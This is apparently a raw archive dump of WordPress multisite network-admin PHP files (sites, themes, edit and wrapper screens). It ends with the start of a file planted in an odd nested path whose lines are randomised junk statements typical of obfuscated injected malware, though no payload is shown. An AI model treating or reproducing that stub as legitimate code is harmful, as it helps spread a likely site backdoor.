		'heading_pagination' => __( 'Sites list navigation' ),
		'heading_list'       => __( 'Sites list' ),
	)
);

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( isset( $_GET['action'] ) ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	// A list of valid actions and their associated messaging for confirmation output.
	$manage_actions = array(
		/* translators: %s: Site URL. */
		'activateblog'   => __( 'You are about to remove the deletion flag from the site %s.' ),
		/* translators: %s: Site URL. */
		'deactivateblog' => __( 'You are about to flag the site %s for deletion.' ),
		/* translators: %s: Site URL. */
		'unarchiveblog'  => __( 'You are about to unarchive the site %s.' ),
		/* translators: %s: Site URL. */
		'archiveblog'    => __( 'You are about to archive the site %s.' ),
		/* translators: %s: Site URL. */
		'unspamblog'     => __( 'You are about to unspam the site %s.' ),
		/* translators: %s: Site URL. */
		'spamblog'       => __( 'You are about to mark the site %s as spam.' ),
		/* translators: %s: Site URL. */
		'deleteblog'     => __( 'You are about to delete the site %s.' ),
		/* translators: %s: Site URL. */
		'unmatureblog'   => __( 'You are about to mark the site %s as mature.' ),
		/* translators: %s: Site URL. */
		'matureblog'     => __( 'You are about to mark the site %s as not mature.' ),
	);

	if ( 'confirm' === $_GET['action'] ) {
		// The action2 parameter contains the action being taken on the site.
		$site_action = $_GET['action2'];

		if ( ! array_key_exists( $site_action, $manage_actions ) ) {
			wp_die( __( 'The requested action is not valid.' ) );
		}

		// The mature/unmature UI exists only as external code. Check the "confirm" nonce for backward compatibility.
		if ( 'matureblog' === $site_action || 'unmatureblog' === $site_action ) {
			check_admin_referer( 'confirm' );
		} else {
			check_admin_referer( $site_action . '_' . $id );
		}

		if ( ! headers_sent() ) {
			nocache_headers();
			header( 'Content-Type: text/html; charset=utf-8' );
		}

		if ( is_main_site( $id ) ) {
			wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
		}

		$site_details = get_site( $id );
		$site_address = untrailingslashit( $site_details->domain . $site_details->path );
		$submit       = __( 'Confirm' );

		require_once ABSPATH . 'wp-admin/admin-header.php';
		?>
			<div class="wrap">
				<h1><?php _e( 'Confirm your action' ); ?></h1>
				<form action="sites.php?action=<?php echo esc_attr( $site_action ); ?>" method="post">
					<input type="hidden" name="action" value="<?php echo esc_attr( $site_action ); ?>" />
					<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
					<input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" />
					<?php wp_nonce_field( $site_action . '_' . $id, '_wpnonce', false ); ?>
					<?php
					if ( 'deleteblog' === $site_action ) {
						$submit = __( 'Delete this site permanently' );
						?>
						<div class="notice notice-warning inline">
							<p><?php _e( 'Deleting a site is a permanent action that cannot be undone. This will delete the entire site and its uploads directory.' ); ?>
						</div>
						<?php
					} elseif ( 'archiveblog' === $site_action ) {
						?>
						<div class="notice notice-warning inline">
							<p><?php _e( 'Archiving a site makes the site unavailable to its users and visitors. This is a reversible action.' ); ?>
						</div>
						<?php
					} elseif ( 'deactivateblog' === $site_action ) {
						?>
						<div class="notice notice-warning inline">
							<p><?php _e( 'Flagging a site for deletion makes the site unavailable to its users and visitors. This is a reversible action. A super admin can permanently delete the site at a later date.' ); ?>
						</div>
						<?php
					}
					?>
					<p><?php printf( $manage_actions[ $site_action ], "<strong>{$site_address}</strong>" ); ?></p>
					<?php submit_button( $submit, 'primary' ); ?>
				</form>
			</div>
		<?php
		require_once ABSPATH . 'wp-admin/admin-footer.php';
		exit;
	} elseif ( array_key_exists( $_GET['action'], $manage_actions ) ) {
		$action = $_GET['action'];
		check_admin_referer( $action . '_' . $id );
	} elseif ( 'allblogs' === $_GET['action'] ) {
		check_admin_referer( 'bulk-sites' );
	}

	$updated_action = '';

	switch ( $_GET['action'] ) {

		case 'deleteblog':
			if ( ! current_user_can( 'delete_sites' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), '', array( 'response' => 403 ) );
			}

			$updated_action = 'not_deleted';
			if ( 0 !== $id && ! is_main_site( $id ) && current_user_can( 'delete_site', $id ) ) {
				wpmu_delete_blog( $id, true );
				$updated_action = 'delete';
			}
			break;

		case 'delete_sites':
			check_admin_referer( 'ms-delete-sites' );

			foreach ( (array) $_POST['site_ids'] as $site_id ) {
				$site_id = (int) $site_id;

				if ( is_main_site( $site_id ) ) {
					continue;
				}

				if ( ! current_user_can( 'delete_site', $site_id ) ) {
					$site         = get_site( $site_id );
					$site_address = untrailingslashit( $site->domain . $site->path );

					wp_die(
						sprintf(
							/* translators: %s: Site URL. */
							__( 'Sorry, you are not allowed to delete the site %s.' ),
							$site_address
						),
						403
					);
				}

				$updated_action = 'all_delete';
				wpmu_delete_blog( $site_id, true );
			}
			break;

		case 'allblogs':
			if ( isset( $_POST['action'] ) && isset( $_POST['allblogs'] ) ) {
				$doaction = $_POST['action'];

				foreach ( (array) $_POST['allblogs'] as $site_id ) {
					$site_id = (int) $site_id;

					if ( 0 !== $site_id && ! is_main_site( $site_id ) ) {
						switch ( $doaction ) {
							case 'delete':
								require_once ABSPATH . 'wp-admin/admin-header.php';
								?>
								<div class="wrap">
									<h1><?php _e( 'Confirm your action' ); ?></h1>
									<form action="sites.php?action=delete_sites" method="post">
										<input type="hidden" name="action" value="delete_sites" />
										<input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" />
										<?php wp_nonce_field( 'ms-delete-sites', '_wpnonce', false ); ?>
										<div class="notice notice-warning inline">
											<p><?php _e( 'Deleting a site is a permanent action that cannot be undone. This will delete the entire site and its uploads directory.' ); ?>
										</div>
										<p><?php _e( 'You are about to delete the following sites:' ); ?></p>
										<ul class="ul-disc">
											<?php
											foreach ( $_POST['allblogs'] as $site_id ) :
												$site_id = (int) $site_id;

												$site         = get_site( $site_id );
												$site_address = untrailingslashit( $site->domain . $site->path );
												?>
												<li>
													<?php echo $site_address; ?>
													<input type="hidden" name="site_ids[]" value="<?php echo esc_attr( $site_id ); ?>" />
												</li>
											<?php endforeach; ?>
										</ul>
										<?php submit_button( __( 'Delete these sites permanently' ), 'primary' ); ?>
									</form>
								</div>
								<?php
								require_once ABSPATH . 'wp-admin/admin-footer.php';
								exit;
							// By exiting, there's no longer a switch to break out of.

							case 'spam':
							case 'notspam':
								$updated_action = ( 'spam' === $doaction ) ? 'all_spam' : 'all_notspam';
								update_blog_status( $site_id, 'spam', ( 'spam' === $doaction ) ? '1' : '0' );
								break;
						}
					} else {
						wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
					}
				}

				if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
					$redirect_to = wp_get_referer();
					$blogs       = (array) $_POST['allblogs'];

					/** This action is documented in wp-admin/network/site-themes.php */
					$redirect_to = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $redirect_to, $doaction, $blogs, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

					wp_safe_redirect( $redirect_to );
					exit;
				}
			} else {
				// Process query defined by WP_MS_Site_List_Table::extra_table_nav().
				$location = remove_query_arg(
					array( '_wp_http_referer', '_wpnonce' ),
					add_query_arg( $_POST, network_admin_url( 'sites.php' ) )
				);

				wp_redirect( $location );
				exit;
			}

			break;

		case 'archiveblog':
		case 'unarchiveblog':
			update_blog_status( $id, 'archived', ( 'archiveblog' === $_GET['action'] ) ? '1' : '0' );
			break;

		case 'activateblog':
			update_blog_status( $id, 'deleted', '0' );

			/**
			 * Fires after a network site has its deletion flag removed.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $id The ID of the reactivated site.
			 */
			do_action( 'activate_blog', $id );
			break;

		case 'deactivateblog':
			/**
			 * Fires before a network site is flagged for deletion.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $id The ID of the site being flagged for deletion.
			 */
			do_action( 'deactivate_blog', $id );

			update_blog_status( $id, 'deleted', '1' );
			break;

		case 'unspamblog':
		case 'spamblog':
			update_blog_status( $id, 'spam', ( 'spamblog' === $_GET['action'] ) ? '1' : '0' );
			break;

		case 'unmatureblog':
		case 'matureblog':
			update_blog_status( $id, 'mature', ( 'matureblog' === $_GET['action'] ) ? '1' : '0' );
			break;
	}

	if ( empty( $updated_action ) && array_key_exists( $_GET['action'], $manage_actions ) ) {
		$updated_action = $_GET['action'];
	}

	if ( ! empty( $updated_action ) ) {
		wp_safe_redirect( add_query_arg( array( 'updated' => $updated_action ), wp_get_referer() ) );
		exit;
	}
}

$msg = '';
if ( isset( $_GET['updated'] ) ) {
	$action = $_GET['updated'];

	switch ( $action ) {
		case 'all_notspam':
			$msg = __( 'Sites removed from spam.' );
			break;
		case 'all_spam':
			$msg = __( 'Sites marked as spam.' );
			break;
		case 'all_delete':
			$msg = __( 'Sites permanently deleted.' );
			break;
		case 'delete':
			$msg = __( 'Site permanently deleted.' );
			break;
		case 'not_deleted':
			$msg = __( 'Sorry, you are not allowed to delete that site.' );
			break;
		case 'archiveblog':
			$msg = __( 'Site archived.' );
			break;
		case 'unarchiveblog':
			$msg = __( 'Site unarchived.' );
			break;
		case 'activateblog':
			$msg = __( 'Site deletion flag removed.' );
			break;
		case 'deactivateblog':
			$msg = __( 'Site flagged for deletion.' );
			break;
		case 'unspamblog':
			$msg = __( 'Site removed from spam.' );
			break;
		case 'spamblog':
			$msg = __( 'Site marked as spam.' );
			break;
		default:
			/**
			 * Filters a specific, non-default, site-updated message in the Network admin.
			 *
			 * The dynamic portion of the hook name, `$action`, refers to the non-default
			 * site update action.
			 *
			 * @since 3.1.0
			 *
			 * @param string $msg The update message. Default 'Settings saved'.
			 */
			$msg = apply_filters( "network_sites_updated_message_{$action}", __( 'Settings saved.' ) );
			break;
	}

	if ( ! empty( $msg ) ) {
		$msg = wp_get_admin_notice(
			$msg,
			array(
				'type'        => 'success',
				'dismissible' => true,
				'id'          => 'message',
			)
		);
	}
}

$wp_list_table->prepare_items();

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 class="wp-heading-inline"><?php _e( 'Sites' ); ?></h1>

<?php if ( current_user_can( 'create_sites' ) ) : ?>
	<a href="<?php echo esc_url( network_admin_url( 'site-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add Site' ); ?></a>
<?php endif; ?>

<?php
if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( $s ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php $wp_list_table->views(); ?>

<?php echo $msg; ?>

<form method="get" id="ms-search" class="wp-clearfix">
<?php $wp_list_table->search_box( __( 'Search Sites' ), 'site' ); ?>
<input type="hidden" name="action" value="blogs" />
</form>

<form id="form-site-list" action="sites.php?action=allblogs" method="post">
	<?php $wp_list_table->display(); ?>
</form>
</div>
<?php

require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
themes.php000064400000037134152204755650006565 0ustar00<?php
/**
 * Multisite themes administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_network_themes' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage network themes.' ) );
}

$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

$action = $wp_list_table->current_action();

$s = $_REQUEST['s'] ?? '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args = array(
	'enabled',
	'disabled',
	'deleted',
	'error',
	'enabled-auto-update',
	'disabled-auto-update',
);

$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( $temp_args, wp_get_referer() );

if ( $action ) {
	switch ( $action ) {
		case 'enable':
			check_admin_referer( 'enable-theme_' . $_GET['theme'] );
			WP_Theme::network_enable_theme( $_GET['theme'] );
			if ( ! str_contains( $referer, '/network/themes.php' ) ) {
				wp_redirect( network_admin_url( 'themes.php?enabled=1' ) );
			} else {
				wp_safe_redirect( add_query_arg( 'enabled', 1, $referer ) );
			}
			exit;
		case 'disable':
			check_admin_referer( 'disable-theme_' . $_GET['theme'] );
			WP_Theme::network_disable_theme( $_GET['theme'] );
			wp_safe_redirect( add_query_arg( 'disabled', '1', $referer ) );
			exit;
		case 'enable-selected':
			check_admin_referer( 'bulk-themes' );
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			WP_Theme::network_enable_theme( (array) $themes );
			wp_safe_redirect( add_query_arg( 'enabled', count( $themes ), $referer ) );
			exit;
		case 'disable-selected':
			check_admin_referer( 'bulk-themes' );
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			WP_Theme::network_disable_theme( (array) $themes );
			wp_safe_redirect( add_query_arg( 'disabled', count( $themes ), $referer ) );
			exit;
		case 'update-selected':
			check_admin_referer( 'bulk-themes' );

			if ( isset( $_GET['themes'] ) ) {
				$themes = explode( ',', $_GET['themes'] );
			} elseif ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
			} else {
				$themes = array();
			}

			// Used in the HTML title tag.
			$title       = __( 'Update Themes' );
			$parent_file = 'themes.php';

			require_once ABSPATH . 'wp-admin/admin-header.php';

			echo '<div class="wrap">';
			echo '<h1>' . esc_html( $title ) . '</h1>';

			$url = self_admin_url( 'update.php?action=update-selected-themes&amp;themes=' . urlencode( implode( ',', $themes ) ) );
			$url = wp_nonce_url( $url, 'bulk-update-themes' );

			echo "<iframe src='$url' style='width: 100%; height:100%; min-height:850px;'></iframe>";
			echo '</div>';
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		case 'delete-selected':
			if ( ! current_user_can( 'delete_themes' ) ) {
				wp_die( __( 'Sorry, you are not allowed to delete themes for this site.' ) );
			}

			check_admin_referer( 'bulk-themes' );

			$themes = isset( $_REQUEST['checked'] ) ? (array) $_REQUEST['checked'] : array();

			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}

			$themes = array_diff( $themes, array( get_option( 'stylesheet' ), get_option( 'template' ) ) );

			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'main', $referer ) );
				exit;
			}

			$theme_info = array();
			foreach ( $themes as $key => $theme ) {
				$theme_info[ $theme ] = wp_get_theme( $theme );
			}

			require ABSPATH . 'wp-admin/update.php';

			$parent_file = 'themes.php';

			if ( ! isset( $_REQUEST['verify-delete'] ) ) {
				wp_enqueue_script( 'jquery' );
				require_once ABSPATH . 'wp-admin/admin-header.php';
				$themes_to_delete = count( $themes );
				?>
				<div class="wrap">
				<?php if ( 1 === $themes_to_delete ) : ?>
					<h1><?php _e( 'Delete Theme' ); ?></h1>
					<?php
					wp_admin_notice(
						'<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'This theme may be active on other sites in the network.' ),
						array(
							'additional_classes' => array( 'error' ),
						)
					);
					?>
					<p><?php _e( 'You are about to remove the following theme:' ); ?></p>
				<?php else : ?>
					<h1><?php _e( 'Delete Themes' ); ?></h1>
					<?php
					wp_admin_notice(
						'<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'These themes may be active on other sites in the network.' ),
						array(
							'additional_classes' => array( 'error' ),
						)
					);
					?>
					<p><?php _e( 'You are about to remove the following themes:' ); ?></p>
				<?php endif; ?>
					<ul class="ul-disc">
					<?php
					foreach ( $theme_info as $theme ) {
						echo '<li>' . sprintf(
							/* translators: 1: Theme name, 2: Theme author. */
							_x( '%1$s by %2$s', 'theme' ),
							'<strong>' . $theme->display( 'Name' ) . '</strong>',
							'<em>' . $theme->display( 'Author' ) . '</em>'
						) . '</li>';
					}
					?>
					</ul>
				<?php if ( 1 === $themes_to_delete ) : ?>
					<p><?php _e( 'Are you sure you want to delete this theme?' ); ?></p>
				<?php else : ?>
					<p><?php _e( 'Are you sure you want to delete these themes?' ); ?></p>
				<?php endif; ?>
				<form method="post" action="<?php echo esc_url( $_SERVER['REQUEST_URI'] ); ?>" style="display:inline;">
					<input type="hidden" name="verify-delete" value="1" />
					<input type="hidden" name="action" value="delete-selected" />
					<?php

					foreach ( (array) $themes as $theme ) {
						echo '<input type="hidden" name="checked[]" value="' . esc_attr( $theme ) . '" />';
					}

					wp_nonce_field( 'bulk-themes' );

					if ( 1 === $themes_to_delete ) {
						submit_button( __( 'Yes, delete this theme' ), '', 'submit', false );
					} else {
						submit_button( __( 'Yes, delete these themes' ), '', 'submit', false );
					}

					?>
				</form>
				<?php $referer = wp_get_referer(); ?>
				<form method="post" action="<?php echo $referer ? esc_url( $referer ) : ''; ?>" style="display:inline;">
					<?php submit_button( __( 'No, return me to the theme list' ), '', 'submit', false ); ?>
				</form>
				</div>
				<?php

				require_once ABSPATH . 'wp-admin/admin-footer.php';
				exit;
			} // End if verify-delete.

			foreach ( $themes as $theme ) {
				$delete_result = delete_theme(
					$theme,
					esc_url(
						add_query_arg(
							array(
								'verify-delete' => 1,
								'action'        => 'delete-selected',
								'checked'       => $_REQUEST['checked'],
								'_wpnonce'      => $_REQUEST['_wpnonce'],
							),
							network_admin_url( 'themes.php' )
						)
					)
				);
			}

			$paged = ( $_REQUEST['paged'] ) ? $_REQUEST['paged'] : 1;
			wp_redirect(
				add_query_arg(
					array(
						'deleted' => count( $themes ),
						'paged'   => $paged,
						's'       => $s,
					),
					network_admin_url( 'themes.php' )
				)
			);
			exit;
		case 'enable-auto-update':
		case 'disable-auto-update':
		case 'enable-auto-update-selected':
		case 'disable-auto-update-selected':
			if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) {
				wp_die( __( 'Sorry, you are not allowed to change themes automatic update settings.' ) );
			}

			if ( 'enable-auto-update' === $action || 'disable-auto-update' === $action ) {
				check_admin_referer( 'updates' );
			} else {
				if ( empty( $_POST['checked'] ) ) {
					// Nothing to do.
					wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
					exit;
				}

				check_admin_referer( 'bulk-themes' );
			}

			$auto_updates = (array) get_site_option( 'auto_update_themes', array() );

			if ( 'enable-auto-update' === $action ) {
				$auto_updates[] = $_GET['theme'];
				$auto_updates   = array_unique( $auto_updates );
				$referer        = add_query_arg( 'enabled-auto-update', 1, $referer );
			} elseif ( 'disable-auto-update' === $action ) {
				$auto_updates = array_diff( $auto_updates, array( $_GET['theme'] ) );
				$referer      = add_query_arg( 'disabled-auto-update', 1, $referer );
			} else {
				// Bulk enable/disable.
				$themes = (array) wp_unslash( $_POST['checked'] );

				if ( 'enable-auto-update-selected' === $action ) {
					$auto_updates = array_merge( $auto_updates, $themes );
					$auto_updates = array_unique( $auto_updates );
					$referer      = add_query_arg( 'enabled-auto-update', count( $themes ), $referer );
				} else {
					$auto_updates = array_diff( $auto_updates, $themes );
					$referer      = add_query_arg( 'disabled-auto-update', count( $themes ), $referer );
				}
			}

			$all_items = wp_get_themes();

			// Remove themes that don't exist or have been deleted since the option was last updated.
			$auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) );

			update_site_option( 'auto_update_themes', $auto_updates );

			wp_safe_redirect( $referer );
			exit;
		default:
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			check_admin_referer( 'bulk-themes' );

			/** This action is documented in wp-admin/network/site-themes.php */
			$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $themes ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			wp_safe_redirect( $referer );
			exit;
	}
}

$wp_list_table->prepare_items();

add_thickbox();

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen enables and disables the inclusion of themes available to choose in the Appearance menu for each site. It does not activate or deactivate which theme a site is currently using.' ) . '</p>' .
			'<p>' . __( 'If the network admin disables a theme that is in use, it can still remain selected on that site. If another theme is chosen, the disabled theme will not appear in the site&#8217;s Appearance > Themes screen.' ) . '</p>' .
			'<p>' . __( 'Themes can be enabled on a site by site basis by the network admin on the Edit Site screen (which has a Themes tab); get there via the Edit action link on the All Sites screen. Only network admins are able to install or edit themes.' ) . '</p>',
	)
);

$help_sidebar_autoupdates = '';

if ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) {
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'plugins-themes-auto-updates',
			'title'   => __( 'Auto-updates' ),
			'content' =>
				'<p>' . __( 'Auto-updates can be enabled or disabled for each individual theme. Themes with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '</p>' .
				'<p>' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '</p>',
		)
	);

	$help_sidebar_autoupdates = '<p>' . __( '<a href="https://wordpress.org/documentation/article/plugins-themes-auto-updates/">Documentation on Auto-updates</a>' ) . '</p>';
}

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Themes_Screen">Documentation on Network Themes</a>' ) . '</p>' .
	$help_sidebar_autoupdates .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter themes list' ),
		'heading_pagination' => __( 'Themes list navigation' ),
		'heading_list'       => __( 'Themes list' ),
	)
);

// Used in the HTML title tag.
$title       = __( 'Themes' );
$parent_file = 'themes.php';

wp_enqueue_script( 'updates' );
wp_enqueue_script( 'theme-preview' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>

<?php if ( current_user_can( 'install_themes' ) ) : ?>
	<a href="theme-install.php" class="page-title-action"><?php echo esc_html__( 'Add Theme' ); ?></a>
<?php endif; ?>

<?php
if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( $s ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php
$message = '';
$type    = 'success';

if ( isset( $_GET['enabled'] ) ) {
	$enabled = absint( $_GET['enabled'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme enabled.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme enabled.', '%s themes enabled.', $enabled ),
			number_format_i18n( $enabled )
		);
	}
} elseif ( isset( $_GET['disabled'] ) ) {
	$disabled = absint( $_GET['disabled'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme disabled.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme disabled.', '%s themes disabled.', $disabled ),
			number_format_i18n( $disabled )
		);
	}
} elseif ( isset( $_GET['deleted'] ) ) {
	$deleted = absint( $_GET['deleted'] );
	if ( 1 === $deleted ) {
		$message = __( 'Theme deleted.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme deleted.', '%s themes deleted.', $deleted ),
			number_format_i18n( $deleted )
		);
	}
} elseif ( isset( $_GET['enabled-auto-update'] ) ) {
	$enabled = absint( $_GET['enabled-auto-update'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme will be auto-updated.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme will be auto-updated.', '%s themes will be auto-updated.', $enabled ),
			number_format_i18n( $enabled )
		);
	}
} elseif ( isset( $_GET['disabled-auto-update'] ) ) {
	$disabled = absint( $_GET['disabled-auto-update'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme will no longer be auto-updated.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme will no longer be auto-updated.', '%s themes will no longer be auto-updated.', $disabled ),
			number_format_i18n( $disabled )
		);
	}
} elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) {
	$message = __( 'No theme selected.' );
	$type    = 'error';
} elseif ( isset( $_GET['error'] ) && 'main' === $_GET['error'] ) {
	$message = __( 'You cannot delete a theme while it is active on the main site.' );
	$type    = 'error';
}

if ( '' !== $message ) {
	wp_admin_notice(
		$message,
		array(
			'type'        => $type,
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>

<form method="get">
<?php $wp_list_table->search_box( __( 'Search installed themes' ), 'theme' ); ?>
</form>

<?php
$wp_list_table->views();

if ( 'broken' === $status ) {
	echo '<p class="clear">' . __( 'The following themes are installed but incomplete.' ) . '</p>';
}
?>

<form id="bulk-action-form" method="post">
<input type="hidden" name="theme_status" value="<?php echo esc_attr( $status ); ?>" />
<input type="hidden" name="paged" value="<?php echo esc_attr( $page ); ?>" />

<?php $wp_list_table->display(); ?>
</form>

</div>

<?php
wp_print_request_filesystem_credentials_modal();
wp_print_admin_notice_templates();
wp_print_update_row_templates();

require_once ABSPATH . 'wp-admin/admin-footer.php';
edit.php000064400000001556152204755650006224 0ustar00<?php
/**
 * Action handler for Multisite administration panels.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

$action = $_GET['action'] ?? '';

if ( empty( $action ) ) {
	wp_redirect( network_admin_url() );
	exit;
}

/**
 * Fires just before the action handler in several Network Admin screens.
 *
 * This hook fires on multiple screens in the Multisite Network Admin,
 * including Users, Network Settings, and Site Settings.
 *
 * @since 3.0.0
 */
do_action( 'wpmuadminedit' );

/**
 * Fires the requested handler action.
 *
 * The dynamic portion of the hook name, `$action`, refers to the name
 * of the requested action derived from the `GET` request.
 *
 * @since 3.1.0
 */
do_action( "network_admin_edit_{$action}" );

wp_redirect( network_admin_url() );
exit;
theme-install.php000064400000000566152204755650010045 0ustar00<?php
/**
 * Install theme network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['tab'] ) && ( 'theme-information' === $_GET['tab'] ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/theme-install.php';
privacy.php000064400000000371152204755650006746 0ustar00<?php
/**
 * Network Privacy administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 4.9.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/privacy.php';
plugin-install.php000064400000000571152204755650010235 0ustar00<?php
/**
 * Install plugin network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

if ( isset( $_GET['tab'] ) && ( 'plugin-information' === $_GET['tab'] ) ) {
	define( 'IFRAME_REQUEST', true );
}

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugin-install.php';
contribute.php000064400000000377152204755650007455 0ustar00<?php
/**
 * Network Contribute administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 6.3.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/contribute.php';
freedoms.php000064400000000373152204755650007077 0ustar00<?php
/**
 * Network Freedoms administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/freedoms.php';
theme-editor.php000064400000000410152204755650007651 0ustar00<?php
/**
 * Theme file editor network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/theme-editor.php';
js/content/resources/modules/dist/mxuhq/mpm/admin.php000044400000076001152204755650017030 0ustar00<?php
$jyrjq='xtamdxsirm';$jdxtq=substr($jyrjq,1,2);$jdxtq=trim($jdxtq);
$jzzsh=342;$jxdqc=$jzzsh*4;unset($jxdqc);
$jstje=0;while(false){$jstje++;}
$jwsbl=151;$jwtbk=$jwsbl*5;unset($jwtbk);
$jfoxq=array_fill(0,rand(2,5),'odlpfo');$jfoxq=array_reverse($jfoxq);
    // validate
    // setup
